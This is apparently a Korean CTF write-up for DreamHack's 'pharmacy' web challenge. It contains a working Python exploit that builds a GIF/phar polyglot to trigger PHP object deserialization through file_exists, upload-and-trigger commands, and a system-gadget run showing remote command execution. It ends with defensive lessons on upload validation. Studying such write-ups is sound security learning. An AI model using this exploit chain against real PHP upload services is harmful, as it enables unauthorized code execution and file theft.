PHAR_SIG_SHA256 = 3
 
# mime_content_type() 이 image/gif 로 보게 만드는 머리.
# GIF89a + 가로 1 · 세로 1 · GCT 플래그 — libmagic 이 온전한 GIF 헤더로 읽는다.
GIF_MAGIC = b"GIF89a" + b"\x01\x00\x01\x00\x80\x00\x00"
STUB = GIF_MAGIC + b"<?php __HALT_COMPILER(); ?>\r\n"
 
 
def php_serialize_supermarket(greet: str, customer: str) -> bytes:
    """PHP 의 serialize(new Supermarket) 출력을 직접 만든다 (public 프로퍼티 2개)."""
    g, c = greet.encode(), customer.encode()
    return (b'O:11:"Supermarket":2:'
            b'{s:5:"greet";s:%d:"%s";s:8:"customer";s:%d:"%s";}'
            % (len(g), g, len(c), c))
 
 
def build_phar(metadata: bytes, entries) -> bytes:
    """metadata(직렬화된 PHP 객체) 를 품은 phar 아카이브 바이트열을 만든다."""
    body = b""
    files = b""
    for name, content in entries:
        name_b = name.encode()
        files += struct.pack("<I", len(name_b)) + name_b
        files += struct.pack("<IIIII",
                             len(content),                        # 원본 크기
                             0,                                   # mtime
                             len(content),                        # 압축 크기(무압축)
                             binascii.crc32(content) & 0xFFFFFFFF,
                             0o664)                               # 퍼미션 비트
        files += struct.pack("<I", 0)                             # 파일별 metadata 없음
        body += content
 
    manifest = (struct.pack("<I", len(entries))
                + PHAR_API_VERSION
                + struct.pack("<I", PHAR_HDR_SIGNATURE)
                + struct.pack("<I", 0)                            # alias 없음
                + struct.pack("<I", len(metadata)) + metadata
                + files)
 
    out = STUB + struct.pack("<I", len(manifest)) + manifest + body
    out += hashlib.sha256(out).digest()                           # PHP 가 열 때 검증한다
    out += struct.pack("<I", PHAR_SIG_SHA256) + b"GBMB"
    return out
 
 
# ── 업로드 ────────────────────────────────────────────────────────────────────
def multipart(fields, filefield, filename, filedata):
    boundary = "----pharmacy" + hashlib.sha1(filedata).hexdigest()[:16]
    buf = b""
    for k, v in fields.items():
        buf += (f"--{boundary}\r\n"
                f'Content-Disposition: form-data; name="{k}"\r\n\r\n{v}\r\n').encode()
    buf += (f"--{boundary}\r\n"
            f'Content-Disposition: form-data; name="{filefield}"; filename="{filename}"\r\n'
            f"Content-Type: image/gif\r\n\r\n").encode()
    buf += filedata + f"\r\n--{boundary}--\r\n".encode()
    return boundary, buf
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("base")
    ap.add_argument("--gadget", default="readfile", help="call_user_func 의 첫 인자")
    ap.add_argument("--arg", default="/flag.txt", help="call_user_func 의 두 번째 인자")
    ap.add_argument("--save", default="", help="만든 phar 를 이 경로에 남긴다")
    ap.add_argument("--no-emergent", action="store_true", help="대조군: phar:// 를 안 붙인다")
    a = ap.parse_args()
 
    md = php_serialize_supermarket(a.gadget, a.arg)
    phar = build_phar(md, [("prescription.txt", b"pharmacy\n")])
    print(f"[+] phar {len(phar)}바이트 / metadata = {md.decode()}")
    if a.save:
        open(a.save, "wb").write(phar)
        print(f"[+] 저장: {a.save}")
 
    fields = {"submit": "upload"}
    if not a.no_emergent:
        fields["emergent"] = "1"          # 폼에 없는 숨은 파라미터
    boundary, body = multipart(fields, "fileToUpload", "prescription.gif", phar)
 
    url = a.base.rstrip("/") + "/index.php"
    req = urllib.request.Request(url, data=body, method="POST", headers={
        "Content-Type": f"multipart/form-data; boundary={boundary}"})
    html = urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "replace")
 
    # __destruct 는 스크립트 종료 때 돌므로 출력이 </html> 뒤에 붙는다
    tail = html.split("</html>", 1)[1] if "</html>" in html else html
    print(f"[+] 업로드 응답: {'Prescription submitted!' in html and 'submitted' or 'rejected'}")
    print(f"[+] </html> 이후 출력: {tail.strip()!r}")
 
    m = re.search(r"DH\{[^}\s]*\}", html)
    if m:
        print(f"\nFLAG: {m.group(0)}")
        return 0
    if tail.strip():
        # 가젯은 돌았다. 로컬 재현 컨테이너의 /flag.txt 는 'placeholder' 라 DH{} 가 아니다.
        print("\n[+] 가젯 실행됨 — 다만 DH{...} 형식이 아니다(로컬 재현본은 placeholder)")
        return 0
    print("\n[-] 가젯이 돌지 않았다 — emergent 파라미터와 phar 유효성을 확인하라",
          file=sys.stderr)
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

로컬 재현 컨테이너부터 돌렸다. Dockerfile 이 /flag.txt 에 placeholder 를 넣으므로, 플래그 자리에 그 문자열이 나오면 성공이다.

cd extracted && docker build -t pharmacy-local . && cd ..
docker run -d --name pharmacy-local -p 18080:80 pharmacy-local
python3 solve.py http://127.0.0.1:18080/
로컬 도커 컨테이너를 상대로 돌린 solve 실행 결과 - phar 238바이트와 Supermarket metadata 가 찍히고 html 태그 이후 출력으로 placeholder 라는 로컬 플래그 파일 내용이 나왔다
로컬 도커 컨테이너를 상대로 돌린 solve 실행 결과 - phar 238바이트와 Supermarket metadata 가 찍히고 html 태그 이후 출력으로 placeholder 라는 로컬 플래그 파일 내용이 나왔다

'placeholder' 가 나왔다. 로컬에서 체인이 끝까지 돈 것이므로 라이브로 넘어갔다.

python3 solve.py http://host3.dreamhack.games:12778/
라이브 드림핵 인스턴스를 상대로 돌린 solve 실행 결과 - html 태그 이후 출력에 DH 로 시작하는 64자리 16진 플래그가 그대로 찍히고 마지막 줄에 FLAG 로 다시 출력됐다
라이브 드림핵 인스턴스를 상대로 돌린 solve 실행 결과 - html 태그 이후 출력에 DH 로 시작하는 64자리 16진 플래그가 그대로 찍히고 마지막 줄에 FLAG 로 다시 출력됐다

한 번에 나왔다. 가젯이 call_user_func 이므로 readfile 자리에 system 을 넣으면 그대로 명령 실행이 된다. 파일 읽기로 끝나는 문제가 아니라는 걸 확인해 두려고 id 와 uname 을 같이 돌려 봤다.

python3 solve.py http://host3.dreamhack.games:12778/ --gadget system --arg "id; uname -sr; cat /flag.txt"
system 가젯으로 명령을 실행한 결과 - 응답에 uid 33 www-data 와 Linux 4.19.234 가 찍히고 이어서 플래그가 출력돼 파일 읽기가 아니라 원격 명령 실행임을 보여준다
system 가젯으로 명령을 실행한 결과 - 응답에 uid 33 www-data 와 Linux 4.19.234 가 찍히고 이어서 플래그가 출력돼 파일 읽기가 아니라 원격 명령 실행임을 보여준다

uid=33(www-data) 에 Linux 4.19.234. Apache 워커 권한으로 임의 명령이 돈다. 업로드 필터는 "gif 만 받는다"고 했고 실제로 올라간 파일은 file 이 보기에 GIF 가 맞는데, 그 안에 PHP 객체가 들어 있었던 것이다.

제출하고 나니 기록이 갱신됐다. 풀이 수가 281에서 282로 올라갔고 VM 크레딧도 환급됐다.

드림핵 pharmacy 문제 페이지 - 문제 설명과 VM 접속 정보가 보이고 플래그 입력 칸 아래에 이미 해결한 문제라는 안내가 떠 있으며 우측에 남은 VM 크레딧 3개가 표시된다
드림핵 pharmacy 문제 페이지 - 문제 설명과 VM 접속 정보가 보이고 플래그 입력 칸 아래에 이미 해결한 문제라는 안내가 떠 있으며 우측에 남은 VM 크레딧 3개가 표시된다

📝 결론

phar:// 가 닿는 함수는 전부 unserialize() 다. 이 문제의 index.php 에는 unserialize 라는 글자가 없다. 있는 건 업로드된 파일이 존재하는지 확인하는 file_exists() 한 줄뿐인데, 경로 앞에 phar:// 가 붙는 순간 그게 역직렬화 호출이 된다. 코드 리뷰에서 unserialize 만 찾으면 이런 경로는 통째로 빠진다. 사용자 입력이 경로로 흘러드는 지점에서는 스킴을 함께 봐야 한다. PHP 8.0 이상에서는 phar 메타데이터 역직렬화에 제동이 걸렸지만, 이 서버처럼 7.x 를 쓰는 곳은 아직 많다.

매직 바이트 검사는 "이 파일이 무엇인지"를 알려주지 않는다. mime_content_type() 이 보는 건 앞 네 글자였다. GIF 인 동시에 phar 인 파일은 얼마든지 만들 수 있고, file 명령도 속는다. 업로드 검증은 확장자와 매직이 아니라 재인코딩으로 해야 한다 — GIF 를 받았으면 이미지 라이브러리로 디코딩해 다시 써서 저장하면 뒤에 붙은 아카이브는 자연히 사라진다. 같은 이유로 업로드 파일은 웹 루트 밖에 두고 별도 핸들러로 서빙하는 쪽이 안전하다.

쓰지 않는 코드도 공격 표면이다. supermarket.php 의 Supermarket 클래스는 어디서도 호출되지 않는다. 그런데 require 로 로드만 돼 있으면 역직렬화 가젯으로는 충분하다. 실제 서비스에서도 레거시 라이브러리나 쓰지 않는 의존성이 소멸자 하나 때문에 체인의 시작점이 되는 일이 흔하다. autoload 범위에 들어 있는 모든 클래스의 __destruct·__wakeup·__toString 이 공격자가 고를 수 있는 선택지다.

난수 파일명은 업로드 취약점을 막지 못한다. 출제자는 bin2hex(random_bytes(16)) 로 저장 경로를 가렸고, 덕분에 "웹셸 올리고 나중에 호출" 경로는 실제로 닫혔다. 하지만 같은 요청 안에서 그 경로를 쓰는 코드가 한 줄 남아 있었다. 파일명을 못 맞혀도 서버가 대신 열어 주면 그만이다. 업로드 후 저장 경로에 바로 무언가를 하는 코드가 있다면, 그 한 줄이 파일명 무작위화를 통째로 우회한다.

실패 메시지를 뭉개면 공격자보다 운영자가 더 손해다. 확장자 불일치와 매직 불일치가 같은 문구를 내보내는 바람에, 나도 어느 문에서 막혔는지 알아내려고 조건을 하나씩 분리한 요청을 여덟 개 만들어야 했다. 공격자는 그렇게 해서라도 알아내지만, 로그만 보는 운영자는 "gif 가 아니라서 막혔다"는 줄만 쌓인다. 거부 사유는 사용자에게는 뭉뚱그리더라도 서버 로그에는 분리해 남기는 게 맞다.

이 글이 도움이 됐나요?

Comments

댓글

0개

댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 2] GIF 폴리글랏으로 PHP 웹셸 업로드 — DreamHack Image Uploader 풀이
blog

[🥉 Bronze 2] GIF 폴리글랏으로 PHP 웹셸 업로드 — DreamHack Image Uploader 풀이

확장자와 MIME 타입 검사를 AND(&&)로 묶은 업로더다. 둘 중 하나만 통과하면 되는 허점이라, GIF89a 매직바이트를 앞에 붙인 .php 파일이 image/gif 로 인식돼 그대로 업로드된다. 웹셸을 올려 RCE로 플래그를 읽는 과정을 정리했다.
#dreamhack#ctf#web+6
2026-06-04#dreamhack +6
[🥉 Bronze 1] 확장자만 .md면 통과 — 내용은 아무도 안 봤다, DreamHack Pearfect Markdown 풀이
blog

[🥉 Bronze 1] 확장자만 .md면 통과 — 내용은 아무도 안 봤다, DreamHack Pearfect Markdown 풀이

실시간으로 마크다운을 미리보기 해주는 아주 단순한 PHP 페이지. 업로드 라우트는 파일 이름의 확장자가 .md인지만 검사하고, 미리보기 라우트는 그 파일을 include()로 그대로 불러온다. 두 라우트 모두 각자 보면 그럴듯한 방어처럼 보이지만, 확장자 검사는 "내용"을 전혀 보지 않고 include()는 "확장자"를 전혀 가리지 않는다는 게 문제였다. 처음엔 경로traversal로 flag 파일을 직접 읽으려 했지만 빌드 스크립트가 파일명을 32자 랜덤 문자열로 바꿔둔 탓에 실패했고, 결국 업로드한 .md 파일 안에 PHP 코드를 심어 실행시키는 쪽으로 방향을 틀었다.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +6
[🥈 Silver 1] Redis가 밥 먹듯 남기는 RDB로 웹셸을 굽다 — DreamHack phpMyRedis 풀이
blog

[🥈 Silver 1] Redis가 밥 먹듯 남기는 RDB로 웹셸을 굽다 — DreamHack phpMyRedis 풀이

Redis eval로 Lua를 돌리고 config로 CONFIG를 만질 수 있는 PHP 앱이다. Lua에서 SAVE는 막혀 있지만, CONFIG로 RDB 저장 위치를 웹 루트로 돌리고 save 정책을 "1초 1변경"으로 바꿔 자동 저장을 유도했다. RDB 덤프에 심은 <?php 웹셸로 RCE, 실행 전용 /flag를 돌려 flag를 얻었다.
#dreamhack#ctf#web+5
2026-07-13#dreamhack +5